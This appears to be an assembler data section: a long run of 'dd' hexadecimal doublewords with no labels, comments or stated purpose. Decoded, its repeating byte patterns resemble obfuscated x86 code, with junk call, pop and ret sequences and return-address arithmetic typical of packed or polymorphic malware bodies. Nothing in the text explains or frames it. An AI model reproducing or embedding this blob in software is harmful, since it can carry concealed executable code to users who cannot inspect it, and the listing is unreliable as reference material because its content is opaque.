		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0AAC35747h
		dd 8B95CCBAh, 48122DBDh, 2DBD8106h, 0D0064808h,	0F000007h
		dd 6285h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0AD6D734Dh, 10E9h, 0D70FB100h, 3E22CB86h
		dd 7FD12C9Ch, 5FD93DAh,	1DBD33FFh, 0FF064816h, 48082D85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0E4EF8E24h, 0FF4F86E3h, 48082DB5h, 0F88B6606h
		dd 1C919D89h, 95FF0648h, 648092Dh, 1275BD8Bh, 89900648h
		dd 4804AD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0EAA99109h, 0E9049F27h, 0Fh, 0F53CE243h
		dd 0AC811804h, 39CA8F57h, 8B4E586Ah, 48008DB5h,	0F78B6606h
		dd 0CD58589h, 8B660648h, 8BFE8BF8h, 48124DB5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0BD8D89D2h, 0FC06480Eh, 2F699509h, 0BD8B0648h, 6481A59h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 7C35646h
		dd 668A4BC5h, 1FE5DF81h, 6AF28Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 7EDD71C3h, 6A3C9Dh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0C40D17C3h, 5571F845h, 7DB58BF9h, 8B064812h,	482B39BDh
		dd 0D0EE8106h, 0E942ED40h, 0FFFFF824h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 87C35343h, 59BD8B37h, 60064813h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h
		dd 35850079h, 0FEB9A899h, 66FFFFFFh, 8D21FB8Bh,	6481191h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h
		dd 81958BA1h, 21064804h, 482FC98Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 977E97A6h
		dd 0B7C58B86h, 6ABE5A51h, 8B46517Fh, 4811918Dh,	0A5CBBA06h
		dd 0E18311A9h, 6850F01h, 89000000h, 4814518Dh, 0C98D8B06h
		dd 6606482Fh, 7E9F08Bh,	0C6000000h, 0A8968800h,	0E1836F4Bh
		dd 2B850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0E9A8C351h,	0EC70B744h
		dd 23745CFFh, 480D399Dh, 6061F906h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 64C35040h, 0FEB993C2h, 60FFFFFFh
		dd 13E59D89h, 81610648h, 6FF704DBh, 258D2103h, 0E9064801h
		dd 11h,	3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 0BB694B92h, 0B58D21D5h
		dd 6A064812h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 6235C356h, 911E99Fh, 483061BDh
		dd 258D8B06h, 0BE064801h, 4C51EDC8h, 0F01E183h,	2185h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0F799AAE8h, 8D8BF814h, 64812B5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F3C35141h, 8E018C7Fh
		dd 1E18382h, 3850Fh, 0C8800000h, 80606194h, 0FEB980F2h
		dd 6AFFFFFFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0F9EDC350h, 31C81D9Dh,	4810CDBDh
		dd 658D2106h, 0F8064829h, 30798D21h, 8D090648h,	6481A75h
		dd 0F2D9D8Bh, 8D8B0648h, 6482965h, 0FABBBE66h, 0F01E183h
		dd 2285h, 11E800h, 0F6A50000h, 6CD9FE6h, 3287053h, 1B327493h
		dd 6047711Ah, 0AE85B966h, 34D88166h, 8B5F61F4h,	4830798Dh
		dd 68D0F06h, 29000000h,	48146595h, 1E18306h, 24850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B50128C3h, 6482991h, 6061D38Bh, 5E8h, 5426B000h, 9D892370h
		dd 6482A9Dh, 0BF0F605Eh, 0B58B57FEh, 6483001h, 0FEB9615Fh
		dd 6AFFFFFFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 29ECC350h, 4833498Dh, 0C58D2106h
		dd 0F064812h, 681h, 880F00h, 21000000h,	4812F58Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0FA50C17Ch, 9E89FB2h, 6D000000h, 25277018h, 84467F6Dh
		dd 665F5260h, 5F61CE8Bh, 12C58D8Bh, 7E90648h, 21000000h
		dd 413ACF58h, 0E183AA55h, 6850F01h, 2B000000h, 480C899Dh
		dd 0F58D8B06h, 8B064812h, 48013185h, 1E18306h, 34850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 1A2E02C3h, 0B6ACA96h, 0BF66ECB8h,	7E9CB19h
		dd 1000000h, 0CEE3EC94h, 60614CC4h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 38C35646h, 0CDDBD33h, 85C70648h
		dd 648082Dh, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 5FC35242h, 0E1E94FDBh, 613F9A28h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 8166EBBFh
		dd 0EB6223D2h, 0E99D6107h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0C5C35747h
		dd 3146D29Fh, 51006A73h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 4E90DDDBh, 9D23CCC4h, 648233Dh, 8B60C18Bh
		dd 66C08BC8h, 646C181h,	1299BD83h, 75000648h, 35BD8309h
		dd 6480Dh, 53501974h, 38B8C08Bh, 89000004h, 4829B985h
		dd 649D8D06h, 0FF064AA4h, 83585BD3h, 480D35BDh,	17740006h
		dd 38B85350h, 89000004h, 4829B985h, 539D8D06h, 0FF064AA1h
		dd 60585BD3h, 1489BD23h, 0B600648h, 481AA995h, 0E9BD2306h
		dd 61064805h, 6E861h, 0FAD10000h, 680B3A39h, 6A5EF98Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 31A7C356h, 15358D8Bh, 0C08B0648h,	68C0Fh
		dd 0B58B0000h, 6480A0Dh, 848E8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E6816645h
		dd 858943E5h, 6480C39h,	2B95B529h, 16E80648h, 6A000008h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 94B4C350h, 7EC397D1h, 8589382Bh, 6480F1Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 70C35343h
		dd 0E181E011h, 10322EF0h, 7C4E8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0B383C90Ch
		dd 0D1EA2B20h, 0BD8B4CADh, 6481AD5h, 1A1D8589h,	0F9530648h
		dd 78BE85Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0FCE0D4C3h, 858954B1h, 64827D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BC35343h
		dd 0B33BDE09h, 0D8F65FF8h, 73BE83Dh, 8D030000h,	6482821h
		dd 0D3D8589h, 95290648h, 6481B59h, 1AF1BD0Bh, 1EE80648h
		dd 0F000007h, 685h, 0C58D8B00h,	0E9064826h, 10h, 43471AB9h
		dd 37186A79h, 39BEC817h, 1F562E46h, 9158589h, 51600648h
		dd 565F8FB5h, 1C39952Bh, 615A0648h, 6E4E8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0D93380AEh, 8589AD67h, 6481221h, 9E9h, 65519400h, 0EF31AA70h
		dd 0AAE86461h, 0F000006h, 8589F2B7h, 6481BD5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D2C35646h, 8B2D3B60h
		dd 482AB1B5h, 677E806h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0F195C6C3h, 0FE6C1BAh
		dd 384h, 0CA8B6600h, 6FD8589h, 0BD890648h, 6480649h, 63CE8h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0F1816657h, 9E8E7A5h, 0DB000000h, 34E09C52h
		dd 0C918BC96h, 0D7816659h, 858993CDh, 6482FB5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 28C35747h, 7405F024h
		dd 0FC655B5Ch, 5D8E8h, 53006A00h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0AE46B9BFh, 0A4DB503h
		dd 85890648h, 6480C99h,	2299D29h, 0A2E80648h, 66000005h
		dd 66732BBFh, 8589F08Bh, 6480E25h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 10C35343h, 118BD202h, 8166E689h
		dd 0E89AFEE1h, 569h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0F3C35040h, 0FB8F8E04h, 0CF1B589h, 85890648h
		dd 6481B71h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	9FC35747h, 0BABDA9CAh, 1F202785h, 9E8B6h, 856A0000h
		dd 0C4C50617h, 0FF167BDh, 0E85EF3BFh, 501h, 0CCD8D89h
		dd 85890648h, 64817B5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0A3C35747h, 76C22E1h,	0A8844ECh, 14759529h
		dd 0BD090648h, 64801ADh, 4C0E8h, 1BD2300h, 89064831h, 48283D85h
		dd 0AAF18006h, 0AAE8C88Bh, 6A000004h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 351DC357h
		dd 318D01A1h, 8906482Fh, 48184D85h, 318D8B06h, 0E8064808h
		dd 5, 58EFB22Ah, 2840F1Dh, 0B1000000h, 0B05E37h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 53C35545h, 4069EE1Dh
		dd 6E9FDh, 0C6840000h, 0F6E873B2h, 6AD8B60Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 5D7EC357h, 0A1A795C4h, 0BA526115h, 8800Fh, 29600000h
		dd 480DC985h, 6BA6106h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 84C8C351h
		dd 28D0Fh, 0F28B0000h, 6AC38Bh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0A553F1C3h, 0BD8B6C33h
		dd 6481BF1h, 89F38160h,	8B1182D7h, 481AA995h, 0E8C16106h
		dd 15BD8B04h, 6606480Dh, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 6D8F10C3h, 0B0C9DB11h
		dd 23D82B29h, 480CB5B5h, 50605006h, 0F54B152h, 10E831h
		dd 0F3150000h, 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 5A5B663Dh
		dd 1C896158h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0E0AB889Bh, 0AEE44C6Dh, 95FFF97Bh
		dd 64828F1h, 23F5E181h,	6A5B47EDh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 96E1C351h
		dd 2810Fh, 34B10000h, 8DFEBF0Fh, 480CA995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 6BF5804Eh, 0DF58B966h, 6A1A89h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 87C59BC3h, 0E781669Dh
		dd 4289087Eh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0A352A0A2h, 0E86E473Fh, 13h, 5576D0E4h
		dd 8B7E2339h, 176140DDh, 86A14642h, 898153EDh, 48270D9Dh
		dd 8DF55906h, 4819A995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 89E2DE5Eh, 480DC18Dh
		dd 6A1A8906h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0DB95C356h, 7782F18Dh,	8B896B86h
		dd 480515BDh, 4428906h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 9AC35040h, 45958D2Eh,	60064817h, 1B118509h
		dd 858B0648h, 6483139h,	68F0F61h, 8B000000h, 480545B5h
		dd 891A8906h, 4829758Dh, 4428906h, 7E8h, 0BD820700h, 0FA1D8745h
		dd 3189B589h, 8D590648h, 480AC995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 59268F03h
		dd 0FA2EAE2h, 1A89CBB7h, 435BD8Bh, 42890648h, 14E904h
		dd 60900000h, 18F69FC9h, 8BB39CF3h, 0AEC082F0h,	60B7341Fh
		dd 958D6BF6h, 6481771h,	66CAB70Fh, 6432CF81h, 6A1A89h
		dd 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 897553C3h, 3BBE0442h, 8D5E5F9Ah, 4811E995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0FF4C8E83h, 5BF03AFCh, 459D29A9h, 2B06481Ch,	480EA9BDh
		dd 891A8906h, 480F3D8Dh, 4428906h, 3021B523h, 958D0648h
		dd 6482A61h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	5CC35141h, 759D8950h, 89064816h, 53006A1Ah, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 64E49242h, 0F3BD38D4h, 0BD8B6493h, 6481AA9h,	6A044289h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 128CC351h, 0F45CB6Fh, 481h, 0C0BF6600h, 69958D38h
		dd 52064813h, 5AD98166h, 1A8959ADh, 0FAC78166h,	4428960h
		dd 58C0Fh, 43B90000h, 0E93003F6h, 103h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 4AC35646h, 0F890Fh
		dd 0AE90000h, 0F4000000h, 7C9CAE3Fh, 3A125976h,	6A006AB6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0B2F5C356h, 3104AC40h, 896A7FA1h,	482F8995h
		dd 57006A06h, 8D0F60h, 8B000000h, 815F61F7h, 627D0FD7h
		dd 6A006A0Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 374AC350h, 850F13D9h, 5, 44D18166h
		dd 2B006AE0h, 480E918Dh, 0E995FF06h, 0E9064812h, 0Eh, 0DB2E454Ah
		dd 4D5C062Ch, 7A38CB44h, 14E8C21Bh, 0AA000000h,	6DBAD566h
		dd 0DD6BF4Eh, 0A048B20Dh, 62F0ABB8h, 0F5EBA8Ch,	0C359F9B7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D5C35545h
		dd 0FFEF2F45h, 158D8B79h, 8A064808h, 51006AC5h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 85090E9Fh
		dd 6480919h, 0F180C08Bh, 99BD83B0h, 64812h, 0BD830975h
		dd 6480D35h, 50197400h,	0B8C08B53h, 438h, 2FF98589h, 9D8D0648h
		dd 64AA4CBh, 585BD3FFh,	0D35BD83h, 74000648h, 0B8535017h
		dd 438h, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 9BC35747h, 33E8C68Ah
		dd 8B661F21h, 18D8BF3h,	8B064816h, 55858DC0h, 6A064812h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 2ACEC356h, 2ABA40B0h, 0BF66C264h,	0BF50659Bh
		dd 5F01AC46h, 6A240489h, 18C0F00h, 0FC000000h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1525DFC3h, 0EE80Dh, 0E15F0000h, 0E36EB5C6h, 0F2896510h
		dd 0DECCF514h, 58A0Fh, 0BABB0000h, 5F467F48h, 8DDA8B66h
		dd 4C331285h, 0CDBD8B06h, 8B064807h, 483309BDh,	5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0E3C35141h
		dd 0FE38BFD0h, 182E380h, 3371BD29h, 0BD8B0648h,	6481385h
		dd 24048950h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	93C35747h, 91C19F0Ah, 0B0039711h, 6AF903h, 54D9D2Bh
		dd 6A0648h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 17h,	94C35242h, 66F557E2h, 630FCF81h, 2B2D95FFh, 0E9600648h
		dd 7, 0D73CA4E3h, 0E90D02ADh, 0Dh, 666597B3h, 37C6439Eh
		dd 0BBA26105h, 8D8D6194h, 64B9938h, 1CB9BD8Bh, 0D1FF0648h
		dd 83D9B70Fh, 4830E5BDh, 850F0106h, 0ABh, 18D0157h, 5B064833h
		dd 0BF0F026Ah, 525090DAh, 12E95250h, 3C000000h,	3E6C0B1Eh
		dd 3E7C8A6h, 21A6D9C0h,	4731F214h, 5A310FE0h, 6A905F58h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 542EC356h, 81213D38h, 0E99D2B1Bh,	0FF06482Eh
		dd 48005195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 13E95389h, 4A000000h, 816C2454h
		dd 0C07292B8h, 3888923Eh, 41D8AA91h, 665B07CBh,	0E83C4ABBh
		dd 0Bh,	3FAADE96h, 3EE7BD44h, 66D7FA0Fh, 0E95FF88Bh, 0F6Fh
		dd 0E8h, 0ED815D00h, 64C331Ch, 2FFD9D8Bh, 0B5890648h, 64828C9h
		dd 93DA858Dh, 0BD8B064Bh, 64827C1h, 0F50FA8Ah, 286h, 89FE8B00h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 4FE862C3h, 255B1C1Ch, 2C018589h, 8D290648h
		dd 6480D31h, 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0C34DC355h,	1BA4E0ECh
		dd 0BFF38944h, 0BD8BF860h, 64815DDh, 25896461h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F2C35343h
		dd 0B50A61DDh, 620BF66h, 1AD185FFh, 0BD8B0648h,	64801FDh
		dd 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 435AFCC3h, 6630C622h, 0B5FFDE8Bh,	6480C39h
		dd 2800Fh, 0D88A0000h, 10D995FFh, 68E90648h, 80000001h
		dd 0B0CFE3h, 12810Fh, 0CE80000h, 0B4000000h, 0D512A2EEh
		dd 76430E8Eh, 5F5C8816h, 0FE870E6h, 0D5000000h,	606FE1C6h
		dd 84C0F8FEh, 97356337h, 95899107h, 6482375h, 6071E45Bh
		dd 0AE8h, 0F706A900h, 1D90C27Bh, 31F5481Dh, 482EB595h
		dd 0BD895806h, 64808EDh, 0F613C61h, 10683h, 0AEE78000h
		dd 81C8B60Fh, 74A80ECFh, 12E963h, 0B0E80000h, 8CD0FA7Eh
		dd 0E0A71E00h, 30E34E49h, 7CDDCFF1h, 6BAh, 25BD8900h, 8B064813h
		dd 0C5BD8BC1h, 0E8064810h, 0Eh,	0E7B13378h, 0AC2C6962h
		dd 98037F50h, 0B70FD268h, 0E8C15BDAh, 12E904h, 1F590000h
		dd 5A5FACC9h, 287C6E44h, 0A8541EEFh, 70B744E9h,	0E9E2F766h
		dd 8, 514B3A79h, 0F9CDB8D2h, 0F781C82Bh, 63EEA012h, 0B6BBD18Bh
		dd 0E9000C0Ch, 6, 1741B589h, 858B0648h,	6480CA9h, 5E99D89h
		dd 0F3810648h, 4ABE9F6Bh, 8907C083h, 4804A985h,	0C08306h
		dd 4B59D31h, 0D03B0648h, 11830Fh, 0BD8B0000h, 6482C05h
		dd 3EE9h, 0F1BD8B00h, 8B06482Eh, 4830798Dh, 0DB805606h
		dd 0E1835B34h, 24840F01h, 8B000000h, 4800999Dh,	79A58306h
		dd 0FE064830h, 0CCD8D89h, 95890648h, 6480CA9h, 0FAD2EF81h
		dd 0E90999h, 8D000000h,	4BCD7BB5h, 219D3306h, 6A064833h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9D292461h, 6480A4Dh, 92D95FFh, 6A0648h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 56CFD9C3h, 6860Fh, 95090000h, 6482A49h, 6DAB95Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0F8EEAAC3h, 70374B50h, 0FC72D6Ch, 686h, 4DBD8B00h, 60064816h
		dd 3C5BD89h, 9D310648h,	6481601h, 0FCE18361h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3FC35646h, 1A320D8Dh
		dd 2957B382h, 4820019Dh, 8509FC06h, 6480A05h, 0B8h, 759D8B00h
		dd 0BA064812h, 0
		dd 4AD9D29h, 33AD0648h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0FBC055C3h, 10E91Bh,	0E9250000h, 0C212715Fh,	230DE401h
		dd 9B6C16F2h, 0BD314832h, 6480D75h, 880Dh, 0AFC38100h
		dd 8B6379E7h, 482365BDh, 5958B06h, 6A064814h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0A9C8C353h, 0F7CE203h, 8166FFBFh, 8BE5CECBh,	4830258Dh
		dd 50DE8B06h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0F48589DEh, 0B5892AEFh, 6482895h, 0BE9h
		dd 0DDC06700h, 0C513F8F7h, 0F24CB34Fh, 1466EB81h, 0BD836CFBh
		dd 64812FDh, 8E840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 43F7C357h
		dd 106324A9h, 21BD8BE5h, 0B806481Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h
		dd 0FBCED08Ch, 31EA1419h, 48087595h, 808D8D06h,	306484Eh
		dd 480D81BDh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 85F4C355h, 8CBFA1B1h
		dd 167836Ch, 481BA99Dh,	0D9BD8306h, 6482Ah, 577840Fh, 0F8560000h
		dd 51B5895Fh, 8306480Eh, 482AD9BDh, 840F0106h, 57Ch, 0C21799BFh
		dd 0D9BD834Ah, 306482Ah, 534860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4FC60BC3h
		dd 51BDF6AAh, 8166EEECh, 609548D3h, 0D98C66F9h,	0CE9h
		dd 0B434AE00h, 0FF587185h, 30ECF368h, 4E18060h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0CAC35747h, 8152DE4Eh
		dd 0EB16AB26h, 29FE8B66h, 481831B5h, 0FC90A06h,	1DD84h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0C78221CCh, 0E8191F69h, 0Ah, 10568921h
		dd 151AB71Eh, 0BF66850Ch, 8B5FE909h, 48115985h,	29BD2B06h
		dd 3306480Bh, 48121985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 87A43C23h, 0EC8224C2h
		dd 8B0FB931h, 6, 1BE58529h, 89510648h, 481A4D9Dh, 66505B06h
		dd 489DA8Bh, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 712407F4h, 6A66DF80h, 0E9BD8B00h
		dd 80064808h, 4E88DD7h,	0FF000000h, 50001F03h, 505FF98Bh
		dd 0DE9h, 927C5800h, 17F7426Eh,	83F80788h, 448BC510h, 8E90424h
		dd 8F000000h, 0D998FA76h, 8BE1140Eh, 0DE800h, 4D220000h
		dd 0B2D835BAh, 7F094A25h, 5B71ECC2h, 4244489h, 4840Fh
		dd 0BB660000h, 6A586056h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 233BC356h, 25AC0F00h
		dd 0FFA9DC4h, 685h, 0F98D8900h,	0E9064807h, 0Bh, 3C74251Ch
		dd 629BBC07h, 0FF0F2415h, 48074195h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0D7001B30h
		dd 0B5894651h, 6480AB9h, 0FE852h, 4CE50000h, 1FE4AB1Ch
		dd 80185DEAh, 976CD27Dh, 9DB589F4h, 5B06482Eh, 8985895Fh
		dd 6A064BB6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 3E1CC353h, 46BFBED6h, 790872BFh
		dd 280E967h, 13E90000h,	8B000000h, 2AB5BACDh, 35B1B175h
		dd 66A0362Dh, 17CBD23h,	858B761Eh, 64BB681h, 0F8D98B66h
		dd 1800C7h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0CB2621C3h, 2C900B02h, 0F8DFBF0Fh
		dd 0B685B58Bh, 6A064Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 22BF7AC3h, 9D8E62EAh, 0BBF1C780h
		dd 2F92CA14h, 1A85858Bh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0D7D840C3h, 0B4BBF3D9h
		dd 0E818E974h, 0Bh, 5CFDE800h, 0F8C4BA72h, 0FB2C0D6h, 68Dh
		dd 0D5958900h, 5B064819h, 6A0689h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 9B3656C3h, 89D6530Ch
		dd 480925B5h, 59858B06h, 8B064811h, 480AF19Dh, 4468906h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h
		dd 0C01EC377h, 0E975522Ah, 24348950h, 14359509h, 9D230648h
		dd 6480FDDh, 0B681B5FFh, 8D89064Bh, 6483011h, 4E8h, 1F03FF00h
		dd 49BB6600h, 0CE850B3h, 64000000h, 2F16C7A9h, 0DBCAC1B6h
		dd 607B6B88h, 890F6160h, 0
		dd 448B5B61h, 66600424h, 8B61DA8Bh, 9E800h, 0D77F0000h
		dd 0B40E39B6h, 0E9F3CFE7h, 13h,	0C8FFF853h, 0DF23E896h
		dd 0E11A6BD9h, 2980847Bh, 5F78727Ah, 4244489h, 18820Fh
		dd 13E90000h, 0E1000000h, 30858DA7h, 1F57BC63h,	17400367h
		dd 0D891D65Bh, 6A583C4Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 567DC356h, 331ADB6Ch
		dd 4833399Dh, 89858D06h, 6A064BB6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 2A1BC352h
		dd 950265FBh, 0E9CEBD15h, 0Ch, 0D2C80BDAh, 2910D709h, 0A9B4686Ah
		dd 7E850h, 45F60000h, 0C502B502h, 27C7BB98h, 895B3484h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 214B6AC3h, 0F5A89047h, 74195FFh, 6A0648h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 267091C3h, 0BB66EB94h, 6A619BBFh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 49C2C351h
		dd 0E9626758h, 0B395C7FEh, 0D985C774h, 306482Ah, 66000000h
